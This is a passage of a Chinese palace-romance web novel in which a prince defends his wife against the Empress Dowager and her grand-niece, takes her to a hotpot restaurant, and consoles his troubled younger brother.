见姜黎婳垂着头不说话,太后厉声呵斥,“怎么?哀家和你说话,你听不到吗?”
“是妾身的错。”姜黎婳又要跪下去,“妾身不该穿白色的衣裳来慈宁宫的...”
“姑祖母,您别和御王妃计较了。”孟若瑶打断姜黎婳的话,轻声对太后道,“这御王妃被绑架才被救回来不久,应该是心情不好,您就不要和她计较这些小事了。”
第272章 御王:我给你们脸了?
姜黎婳听了孟若瑶这话半曲着的膝盖直接站直了,她抬眸看向面色怜惜,眼底却闪烁着轻蔑光芒的孟若瑶,眉梢微微一挑,“孟小姐,你可真贴心,难怪这么得太后喜欢。”
“瑶儿是大家闺秀,名门贵女,知书懂礼,善解人意,自然不是一般人能比的。”太后看着姜黎婳,语气微冷,“哀家自然喜欢。”
孟若瑶对着姜黎婳抿了抿嘴,“我也不算是贴心,只是心疼御王妃的遭遇,身为皇室王妃,你被男子绑架,还差点与人成亲,这些事情已经传遍了整个楚国,将来你的名声怕是也会被影响...”
“没错。”太后拍了拍孟若瑶的手,目光沉沉的看着姜黎婳,冷声道:“哀家知道你和御儿情深义重,也知道当初若不是你的话,御儿如今可能连命都没有了,但是御儿大好前程不能因为一个失了名节的王妃而毁了。”
姜黎婳抬眸看着太后,语气很轻,“所以太后您叫妾身入宫来是想让妾身做什么?”
太后没想到姜黎婳竟然这么直白,不过这倒也免得她拐弯抹角了,她看着姜黎婳,“哀家知道你是个聪明人,如今你的名声已毁,占着御王妃的位置也只会让御儿被人妄议,让整个御王府都被人说闲话,你也不想整日听着外人说你配不上御王吧?”
太后说着看了一眼身旁的孟若瑶,“你不如识趣一些,主动向皇帝请旨下堂,将来若瑶嫁给御儿了,哀家会记住你这份恩情的。”
孟若瑶也在这时候看向姜黎婳,低声道:“我知道这件事情你很委屈,但是我才是御王殿下最好的选择,你总不能让御王殿下将来做了太子,身边还有一个失了名节的太子妃吧?”
“所以太后娘娘今日让妾身入宫给您请安是假,逼迫妾身自请下堂才是真?”姜黎婳抬眸看着太后,“只是我为什么要那样做?”
听着姜黎婳的质问,太后脸色一沉,眼底闪过一丝冷意,她沉沉地看着姜黎婳,沉声道:“你若识趣,哀家保你后半辈子衣食无忧,还能给你寻个安居之所,但是若你执迷不悟,非要占着那个御王妃之位的话,就休怪哀家无情了!”
姜黎婳听着外面呼啸的寒风,虽然这殿中有地龙,但却依旧觉得心凉,这就是皇室...
果然够冷血无情的,还好楚御礼和母后不是那种人,否则她可能真会后悔自己帮楚御礼解毒了。
姜黎婳站在原地,心头还没想好要怎么回答太后的话,身后一道冰冷的声音就响了起来,“太后娘娘要如何个无情法?废了孙儿的王位吗?”
姜黎婳听着楚御礼冰冷的声音,她猛地回头,就看到楚御礼沉着一张脸惊为天人的脸从外面大步走了进来,他身着一身黑衣外面披着同色的大氅,眼神冰冷地看着坐在住坐上的太后和孟若瑶,“孙儿今日就把话放在这里了,本王是御王一天,她姜黎婳就是本王的御王妃,我不管你们以后要用什么手段,你们朝着本王来!不要找她!”
“糊涂!”太后狠狠地拍着桌子站起来,她指着楚御礼,“她如今已经毁了名声,怎么还配得上你!如今能配得上你的,只有若瑶!若瑶她对你也是真心实意的!”
“配得上我?”楚御礼冷哼,“就她?皇祖母是在和我说冷笑话吗?”
“御王殿下,若瑶自知配不上您,但是您也不该因为若瑶就和太后娘娘....”
“闭嘴,本王和太后说话,轮得到你插嘴了?”楚御礼冰冷地看了孟若瑶一眼,冷声道:“你这点伎俩在太后面前耍耍就是了,少在本王面前卖弄,否则别怪本王不给你面子!”
孟若瑶像是被楚御礼吓到了,她缩了缩自己的脖子伸手求助地抓着太后的手,祈求的看向太后。
太后心疼的把她护在身后,看向楚御礼冷声道:“若瑶心地善良,她只是喜欢你,她有什么错?你吼她做什么?”
“喜欢有妇之夫还没错了?”楚御礼眼神肃冷,语气嘲讽,“和你在这里逼着我的发妻自请下堂,她还没错?我还要因为她喜欢我这个有妇之夫,想要拆散我和我娘子而去感谢她?需要我修座寺庙把她供起来吗?”
“你说的这是什么糊涂话!你身为王爷,你即便不想要姜黎婳下堂,你还可以纳侧妃还可以...”
“够了!”楚御礼冷声打断太后的话,厉声道,“我真是多余在这里和你浪费口舌。”
他说罢拉着姜黎婳转身就要走,走了两步他又停下脚步回头看着太后,冷声道:“皇祖母,你就和前些年一样把我这个孙子当死人不行吗?以前我人快死了你都不曾对我的婚事操心,如今你又来操心什么?”
太后听着楚御礼这嘲讽的话气得手直发抖,她指着楚御礼厉声道,“哀家知道以前是哀家忽视了你们母子,所以如今想要弥补,难道哀家还错了吗?”
“弥补?”楚御礼冷笑,“你的弥补就是拆散我与娘子,送一个心思不纯的女人来我身边?”
“她如何心思不纯了?若瑶她心性善良,知书达理,是承恩公府的名门闺秀,即便是将来你成为太子,她当你的太子妃也是绰绰有余的!”
“想要拆散别人夫妇代替别人位置的女人是心性善良,这世道对心性善良有了新的定义吗?”楚御礼嘲讽的看了孟若瑶一眼,冷笑,“还名门闺秀?连最基本的礼义廉耻都不知道的名门闺秀,本王还真瞧不上!”
孟若瑶听着楚御礼把她贬得一文不值,她眼眶一下就红了,她抬眸看着楚御礼,嘶声道:“御王殿下瞧不上臣女直说就是,何必如此贬低臣女?臣女喜欢你,难道真的就那么十恶不赦吗?”
“你还需要我贬低?”楚御礼睨着孟若瑶,冷笑,“至于你说的喜欢?”
“你确定你是喜欢本王?而不是喜欢本王如今的地位?若你真的喜欢我在婳儿与本王成亲之前,怎么不见你主动请旨嫁给本王?是那时候的本王配不上你吗?还是你觉得反正本王都快死了,根本不值得你喜欢?”
被戳穿心思的孟若瑶脸色瞬间变得煞白,太后脸色也一下子沉了下去,她眼神冰冷的看着楚御礼,沉声道,“那些事情已经过去了,如今你的身体也大好了,你还说以前的事情做什么?”
“所以你们现在就直接抢了别人的成果吗?”楚御礼牵起姜黎婳的手,目光凉凉地落在太后和孟若瑶脸上,“做人呢,还是要点脸,否则你们不要脸,别怪我不给你们脸!”
第273章 祸国殃民的狐狸精
太后差点被楚御礼的话给气晕过去,她踉跄着往后退了两步,还是孟若瑶在后面扶住她才没有摔倒在地上,她无力地靠在孟若瑶身上,抬手指着楚御礼,“你这个逆子!竟然敢这样说我们!你是忘了之前哀家和承恩公府对你的托举了吗?”
楚御礼静静地看着太后,“皇祖母,你凭心而论,你真的托举过孙儿吗?”
“你!”太后气得捂着胸口,半晌说不出一句话来。
楚御礼还想说话,被姜黎婳给拦住,“好了,咱们出宫吧。”
这太后现在的样子一看就是被他气得不轻,若他们夫妇真的把太后气出个好歹来,那才是真的惹了大麻烦,到时候怕是真的有理都说不清了。
听姜黎婳想出宫了,楚御礼把到嘴边的话吞了回去,然后对着太后道,“皇祖母累了就早些休息,孙儿改日再来看望您。”
看着夫妇二人离去的方向,太后狠狠地甩了一下袖子,厉声呵斥道,“他现在就是被那个狐狸精给迷惑了心智了!竟然敢如此顶撞我!”
孟若瑶的脸色也很不好,她没想到楚御礼对姜黎婳竟然用情如此,甚至为了姜黎婳敢这样公然和太后直接对上了。
不行,她得想个办法,姜黎婳必须死!
“我也没想到御王殿下竟然那样看重御王妃,若御王妃还活着的话,那若瑶这辈子可能都无法满足姑祖母的愿望嫁给御王殿下了。”孟若瑶垂下眼眸,眼中全是愧疚,“是若瑶没用,不能延续咱们承恩公府的荣耀了。”
太后听着孟若瑶这话,脸色沉了下去。
承恩公府中的男儿都是中庸之辈,这么多年过来,她也不是没有把族中男儿安排入军中和朝廷,但是他们不是贪生怕死,就是碌碌无为,根本无法为承恩公府挣来半点荣耀!
若府中男儿有点用处,她也不至于非要把承恩公府的未来放在一个十几岁的女子身上。
楚御礼有一句话说得没有错,承恩公府的确没有托举过楚御礼,说之前在朝中帮楚御礼说话那些事情,不过是动动嘴皮,表达一下自己的态度,若要说实质为楚御礼做过什么事情,那是的确没有的。
但是,即便只是动动嘴皮,那也是代表了她这个太后的态度。
想到这里,太后深深地吸了口气,她沉声道:“你一定会是太子妃,姑祖母向你保证。”
孟若瑶听着太后决然的话,嘴角牵起一抹浅浅的弧度。
眼底却全是感动,她抬手擦了擦眼泪,低声道,“是若瑶让姑祖母您为难了,若瑶也会努力,不会辜负了姑祖母对若瑶的期望的。”
太后伸手拍了拍孟若瑶的手,有些疲惫地说道,“时辰不早了,哀家有些累了,你也早些回去吧。”
太后说到这里,脸色沉了下去,“哀家也应该好好想想,如何让那个商户女知难而退。”
......
楚御礼出宫的路上脸色都不好,姜黎婳瞧他黑着一张脸,心情反而变好了,她笑着跑到他前面拦住他的去路,然后抬手在他嘴角戳出弧度,“别不高兴了。”
他垂眸看着她,“你都被人叫上门侮辱了,还笑得出来?”抬手握住她戳着自己嘴角的手,轻叹,“是我不好,没有护好娘子。”
“你来得很及时啊。”姜黎婳顺势与他牵着手继续往宫外走,她偏头笑着看了他一眼,“而且我笑也是因为我开心,我没想到夫君竟然为了我,竟然会这样顶撞太后。”
姜黎婳转身倒退着往后走,手却没有与他的手松开,她眼里全是笑意,“你不知道你刚刚顶撞太后的模样有多帅。”
楚御礼挑眉,“帅?”
姜黎婳点头,“虽然我们很可能被太后治一个大不敬的罪名,但是你刚刚的样子实在是太有魅力了,即便是被治罪,我也认了。”
“不会的。”楚御礼拉着姜黎婳的手微微用力,避免她退着走不小心摔倒,嘴角带起漫不经心的笑意,“如今父皇已经没有多余的皇子可用,太后即便再生气,也不会拿皇储开玩笑。”
瞧姜黎婳眼底露出疑惑之色,楚御礼拉着她直接转了个圈人,让她看着路走,“他们既然这么在乎皇储的名声,甚至用名声这种事情想要逼着你离开我,那就不会让我这个即将成为皇储的人背上对太后不敬的污名。”
这也是为什么他先前敢在慈宁宫那样顶撞太后的原因。
太后即便在生气,她也不会以不敬之罪来问罪与他。
姜黎婳点了点头,“那他们一定会全身心都来对付我这个会毁了你一世清明的狐狸精。”她抬眸看他,一脸委屈,“我好惨啊。”
瞧着她脸上露出这么生动的表情,楚御礼仍不住伸手捏了捏她白皙的脸,眼底的笑意也更明显了,“的确好惨,那为了弥补娘子,我带娘子这个小狐狸精去吃肉如何?”
姜黎婳挑眉,“吃肉?”
“聚香楼除了涮锅子,听说味道不错,去尝尝?”
跟着姜黎婳夫妇几乎是前后脚从慈宁宫出来的孟若瑶瞧着夫妇两人在自己前面不远处你侬我侬,甚至不顾一路上宫人和侍卫的目光,一直打情骂俏,她气得死死地揪住自己的帕子。
姜黎婳!这一切都应该是我的!你必须要死!
被楚御礼扶着上了马车的姜黎婳忽然打了两个喷嚏,刚进马车的楚御礼,眉头一皱,“着凉了?”
他伸手要去解自己的披风给姜黎婳,被她阻止,“不是,肯定有人在背后说我坏话或者是算计我。”
“这么灵?”楚御礼笑着在她身边坐下,伸手把她揽入怀中,用自己的披风裹着她,语气温柔,“那能不能猜出是谁在背后说你坏话?”
“猜出来做什么?”姜黎婳抬眸看他,“难道你还能去把人打一顿不成?”
楚御礼轻轻摇头,他垂头把玩着她白皙的手指,眼底闪过一丝冷漠的光芒,语气漫不经心,“我让人拔了他们的舌头,让他们再也没法对你坏话。”
“你将来是想当昏庸的暴君吧?”姜黎婳嗔了楚御礼一眼,“你这话当着我的面说说就是,当着外人也这样的话,小心旁人说你暴戾,坏了自己的名声。”
见她这么紧张自己,楚御礼眼底的冷光散去,他拥着她的腰把下颌搭在她的肩膀上,闷笑着点头,“娘子教训的是,为夫记住了。”
姜黎婳笑着摸着他优越的下颌线,“孺子可教也。”
第274章 能否拼个桌
孟若瑶跟着他们夫妇二人到了聚香楼外面的街道,看到御王府的马车停在聚香楼外,楚御礼从马车里面走了出来,然后站在马车旁边等着姜黎婳出来,他伸手揽住她的腰直接把她从马车上抱下来,放在地上,然后拦腰直接进了聚香楼。
瞧着他们这样旁若无人的亲密,孟若瑶气得眼睛都红了。
或许是她的目光太过炙热,姜黎婳和楚御礼二人都感受到了,姜黎婳回眸朝她这边看看了一眼,看到承恩公府的马车,姜黎婳眉梢微挑,“这孟小姐还挺执着的,竟然跟着我们到这儿了。”
楚御礼则看都不回头看一眼,揽着她的腰往聚香楼中走,“别在意那些不相干的人,不然一会儿可能要影响食欲了。”
姜黎婳听着他这损人的话,笑着点头,“好。”
聚香楼的掌柜的在二人进来的时候就迎了上来,他笑着躬身给楚御礼行礼,“殿下,您的房间一直给您留着呢,您请上座。”
楚御礼颔首,带着姜黎婳直接去了他的专属房间。
姜黎婳不知道楚御礼竟然在聚香楼还有专属包间,以前她都以为是楚御礼早就让下属过来定好座位,现在看来,这聚香楼应该是一直都给他留着一个房间,方便他随时过来用膳。
房间是他们前两次来过的那个房间,掌柜的把两人引进去以后,笑着问楚御礼是否老规矩上菜。
“你们这儿不是上了新菜式吗?听说叫涮锅子?今天就吃那个。”
掌柜的笑着应是,“好嘞,您稍等,小的这就去准备。”
特制的火锅很快就被端上来了,新鲜的菜式也很快被端了上来,姜黎婳看到火锅那瞬间,嘴角微微翘起,她问掌柜的,“这就是你们的涮锅子?”
“对,这是从江南新引进的吃法,这菜式瞧着简单,但是这冷天吃上一口的话,人都暖和过来了。”掌柜的笑着给姜黎婳说道,“一边煮一边吃,即便在大的寒意,都会被驱散了。”
姜黎婳瞧着锅中清水和旁边大盘子里面装着的足够分量的牛羊肉还有一些时蔬,“烫了直接吃?”
掌柜的笑着点头,这时候小二端着调味料走进来,掌柜的又笑着给两人介绍,“这里有我们特制的芝麻酱和其他调味料,牛羊肉搭配上我们特制的芝麻酱,风味极佳。”
姜黎婳眉梢微挑,不错不错,学了个八九分了,她笑着道,“有大葱和姜吗?”
“有是有,但是姜的味道极为辛辣,王妃要姜做什么?”
“你帮我取一些来。”
小二很快就把姜取来了,楚御礼在水烧开的时候就烫了牛羊肉再搭配掌柜的帮他调制的秘制调料试了试,专属于牛羊肉的膻味还在,但是搭配上那调料,也还能入口。
不似宫中所做的牛羊肉那般难以下咽。
姜黎婳用小刀把姜切片放进锅中,然后丢了两颗自己防止低血糖的大枣进去,再把大葱直接掰成两段放进锅中,然后在掌柜的生无可恋的眼神中夹了一筷子牛羊肉放进锅中,接着夹起来放到楚御礼碗中,“尝尝。”
楚御礼好整以暇地拿起碗筷把肉放进嘴里,他眼睛一亮,“竟然没有膻味了。”
掌柜的震惊,“这怎么可能?”
姜黎婳挑眉给掌柜的调了一个酸辣味的调味料,然后给他烫了一筷子肉,“你尝尝。”
掌柜的下意识的看向楚御礼,再看到楚御礼点头后,他恭敬地上前拿起碗筷把肉放进嘴里,接着他眼睛一亮,震惊地看向姜黎婳,“竟然比搭配芝麻酱的更让人觉得开胃,且真的吃不到一点膻味了!最重要的是,我竟然没有吃到一点点姜的辛辣之味。”
姜黎婳挑眉,“我可把方法都交给你了。”
“江南传过来的。”楚御礼忽然指着下巴,好整以暇地看着姜黎婳,“这该不会是娘子你发明的吃法吧?”
“我也就是吃货界的搬运工而已,可不敢说这是我发明的。”姜黎婳连忙摆手,“不过我在家中煮了几次之后,的确在大家的鼓舞下,在江南开了几家店,且生意都不错。”
“看来今日还是为夫借花献佛还直接献到了正主面前了。”楚御礼让还处于震惊之中的掌柜的退下去,拉着姜黎婳在自己身边坐下,“娘子你究竟还有什么惊喜是为夫不知道的?”
姜黎婳傲娇地冲他挑了挑眉头,“那这个就要等夫君你慢慢发掘了,提前告诉你了不就没惊喜了吗?”
主要是让她说吧,她还真的想不起来。
就像这火锅...
当初她也是为了拜师,抱着一大堆铜让人打了铜锅,然后去煮给她师父那个吃货吃...
要说她的厨艺能练到如今这炉火纯青的地步,那完全是为了拜师学艺而一步一步练起来的。
至于期间开了些什么店,现在让她细想,还真想不起来。
谁让她有一个极具商业头脑的好爹爹呢,只要她有点想法,他就能把那些产业做大做强,完全不用她去操心,所以到现在其实她自己都不是很清楚,自己究竟还有些什么产业。
楚御礼没想到姜黎婳竟然如此能吃辣,看到她嘴唇都辣得有些红肿了,楚御礼有些不解地问,“你很擅长吃辣?”
他还记得夏天他们去山中别院的时候,他让人给她特制的凉面,狠辣,她吃得很过瘾,今天明明可以选择偏甜口味的麻酱,但是她却自己调制了酸辣的调料。
姜黎婳摇头,“不擅长,但爱吃。”
她现在脑子都被辣麻了。
楚御礼瞧着她人都被辣迷糊了的模样,让昭临去找蜜饯,看到蜜饯那一瞬间,姜黎婳感觉自己人都活过来了,她拿起一颗梅子蜜饯放进嘴里,酸甜的味道在嘴里绽开,她满足地眯上眼睛,“舒服了。”
“吃不起辣就不要吃。”楚御礼牵着她起身,“伤身。”
“我能吃辣。”姜黎婳笑着与他对视,“有一句话叫又菜又爱玩,但是我是又菜又爱吃。”
“你...”
“皇兄...”楚巍澜从门外走进来,他跌跌撞撞地走到姜黎婳和楚御礼面前,朝着两人行礼,“见过大皇兄大皇嫂。”
楚御礼瞧着许久不见但是人消瘦了不少的楚巍澜,眉头微蹙,“喝醉了?”
楚巍澜笑着摇头,“小弟我只是小酌了一口,并未喝醉。”
“一个人?”
楚巍澜听到这个问题,眼底闪过一丝暗淡,接着他点头,“是我一个人,不知道能不能和大皇兄和大皇嫂拼个桌?”
第275章 开导楚巍澜
楚御礼看了一眼他们已经吃的差不多的菜,然后看向已经坐下的楚巍澜,他眉头微蹙...
姜黎婳瞧他要出声撵人,一只手拉住他,笑着对楚巍澜道,“行,正好我们打算再让掌柜的上点菜,你看看你喜欢什么菜,我让掌柜的一起上。”
楚巍澜已经走到桌子旁边去坐着了,他一只手撑着头,脸上也没什么表情,眼里也是一潭死水,“我都行,大皇嫂和大皇兄点你们喜欢吃的就可以了。”
姜黎婳让守在门口的知夏去叫掌柜的再上点牛肉和蔬菜,然后把叫昭临守好门不准人靠近,才门关上坐回楚御礼身边。
楚御礼伸手拉着她,笑着朝她扬了扬眉,像是在夸她善良。
姜黎婳嗔了他一眼,然后看向对面给人一种活死人感觉的楚巍澜,朝楚御礼递眼神,让他问问楚巍澜这是怎么了。
楚御礼是一点都不愿意管旁人的闲事,但是娘子吩咐了,他还是勉为其难的关心一下这个傻子弟弟吧。
“怎么了?心情不好?”楚御礼端起一直放在旁边的茶水给楚巍澜倒了一杯。
楚巍澜听到楚御礼居然主动关心自己,他抬头看向楚御礼,眼眶微红,“大皇兄。”
楚御礼瞧着一个大男子汉竟然要哭了,眼底闪过一丝嫌弃,眉头也微微皱了起来,“何事让你如此难过?堂堂皇子,在外面哭哭啼啼的像什么样子。”
楚巍澜连忙抬手擦了擦眼泪,“我没有哭。”
楚御礼嗯了一声,楚巍澜连忙端起楚御礼给他倒的茶抿了一口,喝到是茶,他眉头一皱,问,“没有酒吗?”
“你已经醉了。”楚御礼看了一眼他手中的茶杯,挑眉道,“喝点茶醒醒酒,顺便给本王说说你因何事如此不开心。”
楚巍澜一口把茶水闷了,然后有些小心翼翼的茶杯往楚御礼面前推了推,低声问,“可以再喝一杯吗?”
楚御礼又给他倒了一杯。
楚巍澜端来一饮而尽,这才抬眸看向心情明显还不错的姜黎婳,低声问,“大皇嫂,你难道都不会因为外面的流言蜚语不开心吗?”
楚巍澜说到这里害怕姜黎婳误会自己故意在她面前提起外面对她的流言蜚语,又解释了一句,“我不是那个意思,我只是想问大皇嫂,你都不在乎外面的流言蜚语吗?”
楚御礼蹙眉,“你是在因为我与你大皇嫂的事情不开心?”说到这里他脸色一下子沉了下去,厉声道:“如果敢说一句你大皇嫂的不是,小心你的舌头。”
“没有没有!”楚巍澜连忙摆手,焦急道:“我不是想说大皇嫂的事情,大皇嫂这次被绑架本就是无妄之灾,若不是段贺年为了报复皇室和大皇兄,大皇嫂也不会被绑架,我只是想问大皇嫂是怎么做到这样一点都不在乎外面的议论声音的。”
姜黎婳抬眸看向楚巍澜,眉头微蹙,“你是不是想说你也被流言蜚语所困,难道这些日子以来,三弟你还没有走出淑妃娘娘的事情吗?”
楚巍澜震惊的抬头看向一语道破子为何心情不好的姜黎婳,他睫毛微颤,声音也有些颤抖,“我感觉我无论走到哪儿,都会有人对我指指点点,他们都说我贪图那个位置,还说我母妃心机深沉,我和她一定是一脉相承,我虽然看似懵懂,但其实是最坏的,什么都是我的母妃帮我做了,我只用坐收渔翁之利...”
楚巍澜说到这里端着手中的杯子想要喝酒,这才发现杯子是空的,他抬眸看向楚御礼,楚御礼干脆把茶壶递给他,他接过来给自己倒了茶,然后一饮而尽,接着道,“他们还说我冷血无情,事情爆发后直接抛弃了自己的母妃保全自己,还说我...”
“可是那些流言蜚语中的你,是真的你吗?”姜黎婳打断楚巍澜的话,认真的看着他,“其实你并不是那样的人不是吗?你是真的不知道淑妃是那种人,不是吗?”
楚巍澜听着姜黎婳的话,整个人一顿,他这些日子经常买醉,甚至还找过以前玩得挺好的世家公子一起喝酒,也曾吐露过自己不开心,但是他们说一醉解千愁,只会让他喝酒,却从未说过,他不是那样的人。
“大皇嫂,你相信我?”楚巍澜动容的看着姜黎婳,“你相信我不是那样的人?”
姜黎婳叹气,她其实没有和其他几个皇子接触过,和楚巍澜真正的接触也只是在行宫的时候踢与他们投壶。
那时候他们几个一起玩,楚巍澜整个人给她的感觉就像是大大咧咧的初中生,什么都觉得很有兴趣,而四皇子一直在旁边跟着他们玩,也不说话,脸上总是带着笑,却提不上好感来,而这个三皇子,虽然话多,但是却不让人讨厌。
她的病本就让她不喜欢与男子相处,而楚巍澜既然让她不讨厌,那应该也不是坏人。
姜黎婳轻笑,“我相信你有什么用?你要自己相信你自己,你心头难过,是因为你太在意旁人的说法,却忘了你自己是什么样的人。”
这时候知夏带着掌柜的进来给他们上菜,姜黎婳便没有再多说什么,等掌柜的退下之后,她才又道,“如果你很在意外人的看法,那你注定开心不起来。”
楚御礼侧眸看着姜黎婳,他伸手握住她的手微微收紧。
姜黎婳反握住他的手,对他笑了笑,像是在说自己没事。
“我自己相信我自己?”楚巍澜抬手指着自己,“我自己相信我自己有什么用?”
见楚巍澜陷入了死胡同,姜黎婳抿了抿嘴,问他,“你信外面对我的那些传言吗?”
楚巍澜猛地抬头看向姜黎婳,还用余光偷偷看了楚御礼一眼,想看看楚御礼在姜黎婳提到这件事情的反应。
看到楚御礼面色自然,姜黎婳也很平静的看着自己,楚巍澜轻轻摇头,“自然是不信的。”
若大皇嫂真的差点和旁的男人成亲了,大皇兄身为男人,怎么可能这么轻易就接受大皇嫂了。
姜黎婳笑了,她看着眼神闪躲的楚巍澜,挑眉道,“其实你心中在大姑,你不相信我差点和旁的男人成亲了,但是心中还是对这件事情抱着疑虑。”
“可是那又如何?”姜黎婳侧眸看了楚御礼一眼,嘴角微微勾起,“我不在乎,因为我知道事实如何,我也知道楚御礼心悦于我,这就够了。”
楚巍澜蹙眉,“可是外界的传言还是会影响你的身份和地位。”他抿嘴继续道,“而且现在外面都在说大皇兄当了太子之后,父皇会为他重新选太子妃。”
第276章 我一定会成为对大皇兄有用的人
“那又如何?”姜黎婳不在意的耸了耸肩,“那些事情不是还没有发生吗?我为什么要因为那些没有发生的事情去担心,却影响我的心情。”
姜黎婳把另一只没有被楚御礼握着的手放在楚御礼和自己交握的手上,轻轻一拍,“我只知道今天我进宫被父皇和太后为难,我的夫君他一直维护着我,且坚定的表达了他只会有我一个妻子的态度,这就行了。”
楚御礼听到姜黎婳这些话,感觉自己的心像是她填满了,胸口胀胀的,人麻麻的,现在他什么都听不进去,只想把她抱在怀中,揉进骨子里去,这么想,他也这么做了,他紧紧地把姜黎婳抱在怀中,低头在她头顶亲了亲。
姜黎婳轻轻推了推他,脸颊通红。
这人干什么呢,他们不是在安慰楚巍澜吗?他忽然抱她亲她做什么?
楚巍澜的眼角也使劲抽了抽,他只是来寻安慰的,怎么还忽然吃上狗粮了。
但是看到他们两人感情这么好,他心头还是有些不平衡,为什么明明都是外人传的流言蜚语,他们两个人就像没事人一样,而他就像是被人下了咒语一样,每天晚上一闭眼就是那些人在他耳边念叨...
“可是你们不在乎不代表外面没人说。”楚巍澜伸手捂着脑袋,“我觉得我如果不是死,那些人会一直在我耳边说我忘恩负义,说我不...”
“那就把传你谣言的人都解决了。”楚御礼冷冷地睨着楚巍澜,“这种事情还需要我来教你?”
楚巍澜震惊的抬头看着眼神肃杀的楚御礼,他张了张嘴,“杀了?”
“那就看你有没有那个本事了。”楚御礼搂着姜黎婳的手轻轻松开,手却重新捏着姜黎婳的手指把玩,“如果你没办法不在意那些留言,那就把传流言的人都解决了。”
楚巍澜猛地抬头看向说这些话毫无感情的楚御礼,他心头猛跳,“这样真的可以吗?”
“有何不可?”楚御礼语气有些不耐,眼神也越发冷漠,“楚巍澜你记住你的身份,若旁人随便都能在你耳边对你说三道四,你也不配当这个三皇子了。”
楚巍澜抿了抿嘴,他抬眸看向楚御礼问,“半个月前京城还有说书人四处说皇嫂的遭遇,但是最近一点皇嫂的消息我都听不到了,难道那些人就是大皇兄你给...”
他小心翼翼的对自己做了一个抹脖子的动作。
楚御礼挑眉,不否认也不承认。
楚巍澜只感觉心头猛跳,他也可以把那些人都处置了吗?
“那样会不会坏了我的名声?”楚巍澜感觉自己有些口干舌燥,他给自己倒了一杯茶,眼神期待的看向楚御礼,“大皇兄你会不会觉得我有些斤斤计较?”
楚御礼懒得和他多说。
姜黎婳现在也不想打理眼前这个瞻前顾后的人了。
但是她倒是真的不知道,楚御礼竟然为了她回到京城之后耳根清净,竟然还背着她做了那么多事情。
不过这楚巍澜如今一看就是那种想法不成熟的人,如果他真的跑去把那些得罪他的人都杀了,最后被皇帝问罪,会不会把他们夫妇二人给供出来,说这个把说闲话的人解决了,这个主意是他们夫妇给出的?
想到这种可能,姜黎婳赶紧对楚巍澜道,“其实还有个不麻烦的选择,就是远离风暴中心。”
楚御礼听到姜黎婳这话立刻急了,他看着姜黎婳,急声道,“人还是要勇于面对问题,逃避是不可能解决问题的。”
他说完立刻瞪楚巍澜,该死的!娘子该不会因为楚巍澜这几句话就又想要离开他了吧?
他好不容易才让娘子认清楚自己的心,让她为了他留下来,现在难道要因为楚巍澜这几句话前功尽弃?
楚巍澜被楚御礼这眼神看得毛骨悚然,他怎么感觉大皇兄要吃了他一样?
他还没说自己想逃避呢,大皇兄竟然就这么凶?
大皇兄什么时候这么在意他们兄弟怎么做人了?
楚巍澜拢了拢自己身上的披风,驱散不知从哪儿来的寒意,附和楚御礼的话,对姜黎婳笑着道,“我觉得大皇兄说得很不错,我应该面对问题,解决问题。”
他说完站起来朝两人躬身行礼,“今天多谢大皇兄和大皇嫂开解小弟我了,时辰不早了,我就先走了。”
“这些菜你还没吃呢。”姜黎婳指着桌上刚点的牛肉和蔬菜,“吃完再走。”
她现在已经吃不下了,点了不吃,多浪费啊!
而且瞧楚巍澜这模样就像是在喝寡酒,肯定没吃饭也没吃菜,那就让他吃掉,不浪费,他们也不用吃撑。
楚巍澜想拒绝,但是肚子咕噜噜叫了起来,他尴尬地挠了挠头坐下,“那我就再叨扰一下,吃点?”
楚御礼拉着姜黎婳站起来,睨了一眼重新坐回去的楚巍澜,“吃完之后去把账结了。”
楚巍澜连忙点头,“好。”
瞧着楚巍澜的模样,原本不打算多事的楚御礼,多停驻了片刻,他看着楚巍澜,问,“你还想进军营吗?”
楚巍澜夹肉的手一顿,他缓缓收回筷子,抬头看向楚御礼,声音都有些颤抖,“大皇兄?”
楚御礼蹙眉,“回答。”
“我还可以进军营吗?”楚巍澜垂眸看着火锅里面已经烫熟的肉,眼神微颤,他以为他母妃这些年对大皇兄他们做的事情被揭穿后,大皇兄对他肯定心存芥蒂,甚至这辈子他只是做一个闲散王爷,就已经是对他的仁慈了。
但是现在大皇兄竟然还愿意让他去军营,这是说明大皇兄相信他吗?
楚御礼瞧着不敢看自己的楚巍澜,没稍微蹙,“为何不可以进?”
“我以为...”楚巍澜抬眸与楚御礼对视,声音颤抖,“大皇兄你还愿意相信我吗?”
“你做过什么对不起我的事情?”楚御礼松开姜黎婳走到楚巍澜面前,拍了拍他的肩膀,沉声道:“三弟,你何故为了旁人做的事情来惩罚你自己,你是我的弟弟,我自然是信你的。”
楚巍澜心头一震,眼泪从眼眶里面滑落出来,他一把抱住楚御礼,“我以为当时大皇兄你过生日对我说的那些话都是场面话,其实你在心里头是在怪我的,毕竟害你这些年身体一直不好的人,是我母妃。”
楚御礼嫌弃的皱起眉头,他抬手使劲推开楚巍澜,脸色微沉,“大男人搂搂抱抱成何体统!”
楚巍澜挠头,“是我太激动了,大皇兄,谢谢你!”
楚御礼嗯了一声,脚下已经退回自家娘子身边了,他看着楚巍澜,“你想入军营,那就收拾好自己的心情,找时间我会帮你的。”
“好,大皇兄,我一定会解决好身边的那些留言,然后安安心心地进军营,我一定会成为对你有用的人的!”
楚御礼挑眉,“肉都烫老了,快吃吧,我们走了。”
第277章 歹竹出好笋
马车中。
姜黎婳坐在楚御礼身边,想到先前离开聚香楼的时候楚巍澜说的那些话,她有些佩服地看向楚御礼,她在那里安慰了楚巍澜半天一点用都没有,他才说了几句话,竟然就让楚巍澜对他这个皇兄死心塌地了!
难道这就是亲哥滤镜吗?哥哥说的什么都是对的?哥哥让他做什么都是对的?
楚御礼被姜黎婳这么直勾勾地盯着看,看得他感觉有些毛骨悚然,伸手把她的手摆正,他才笑着道,“都盯着为夫看了一路了,夫人再看,为夫可就要把持不住了。”
姜黎婳被他逗得忍不住抬手打了他的手一下,“油嘴滑舌的。”
楚御礼抓住她打过来的手,含笑看着她,声音低沉温柔,“为夫说的可都是真心话,夫人应该知道为夫对夫人的用情至深,你这样看着为夫,为夫是真的会忍不住的。”
把她的手放在唇边亲了亲,他又道,“我们夫妇有什么话可以直说,但是夫人有问题的时候可别用这种眼神看着为夫。”把她的手放在自己胸口,让她感受自己的心跳,“你这样看着为夫,为夫是真的以为夫人在邀请为夫。”
姜黎婳真的感觉这人自从她坦白心意之后,是越来越敢说,是什么都不藏着掖着了。
她缩了缩自己滚烫的指尖,低声道,“你让楚巍澜进军营,是计划好的,还是先前突发奇想的?”
